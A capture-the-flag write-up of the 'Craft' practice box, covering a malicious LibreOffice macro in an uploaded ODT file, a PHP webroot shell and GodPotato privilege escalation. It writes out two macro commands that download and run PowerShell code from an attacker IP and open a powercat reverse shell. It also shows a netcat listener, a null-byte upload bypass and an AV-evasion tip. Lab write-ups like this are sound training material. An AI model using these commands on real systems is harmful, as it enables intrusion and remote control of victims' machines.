Skip to content

Craft -- PG Play (write-up)

Difficulty: Medium Box: Craft (PG Play) Author: dsec Date: 2024-12-28


TL;DR

Upload function on a web app accepted ODT files. Embedded a malicious LibreOffice macro to get a reverse shell as apache. Uploaded a PHP shell to the webroot, then used GodPotato for SYSTEM.


Target info

  • Host: 192.168.198.169
  • Services discovered via nmap

Enumeration

Nmap results

Nmap continued

Web app

More enumeration

Upload function


Initial access -- ODT macro

The upload function allows a null byte trick on shell.php.odt -- intercept in Burp, change name to shell.php:.odt. The shell shows up in /uploads. Tried every PHP revshell from revshells.com but none worked.

Wappalyzer identified Umbraco. PHP 8.0.7 should be vulnerable but not working.

Pivoted to malicious LibreOffice macro instead.

In LibreOffice: Tools > Macros > Organize Macros > Basic, select document > New > name module:

Macro editor

Test macro to confirm execution:

Shell("cmd /c powershell iwr http://192.168.45.160/")

Macro test

Save, close macro window. Then Tools > Customize:

Customize dialog

Events tab > Open Document > Assign: Macro:

Event assignment

Select the nested folder within the document, hit OK:

Macro assigned

Uploaded the ODT and got a callback on the listener:

Callback confirmed

Updated the macro with a full reverse shell using powercat:

Updated macro

Shell("cmd /c powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.160/powercat.ps1');powercat -c 192.168.45.160 -p 135 -e powershell")

Reassigned the macro in Tools > Customize and uploaded again:

Shell as apache

Apache user confirmed


Pivoting to PHP shell

Enumeration

Webroot access

More enumeration

Service info

Uploaded a PHP reverse shell to the webroot at C:\xampp\htdocs:

Upload to webroot

Set up listener and navigated to 192.168.198.169/new-shell.php to trigger:

PHP shell


Privilege escalation -- GodPotato

JuicyPotatoNG did not work. Ran GodPotato-NET4.exe instead:

GodPotato execution

rlwrap nc -lvnp 8082

SYSTEM shell

Weird output from whoami but still able to get the flag:

Flag


Lessons & takeaways

  • When direct PHP upload fails, pivot to macro-based document attacks
  • LibreOffice macros with Open Document event triggers can execute on file open
  • Powercat loaded via IEX never touches disk -- good for AV evasion
  • When JuicyPotato fails, try GodPotato as an alternative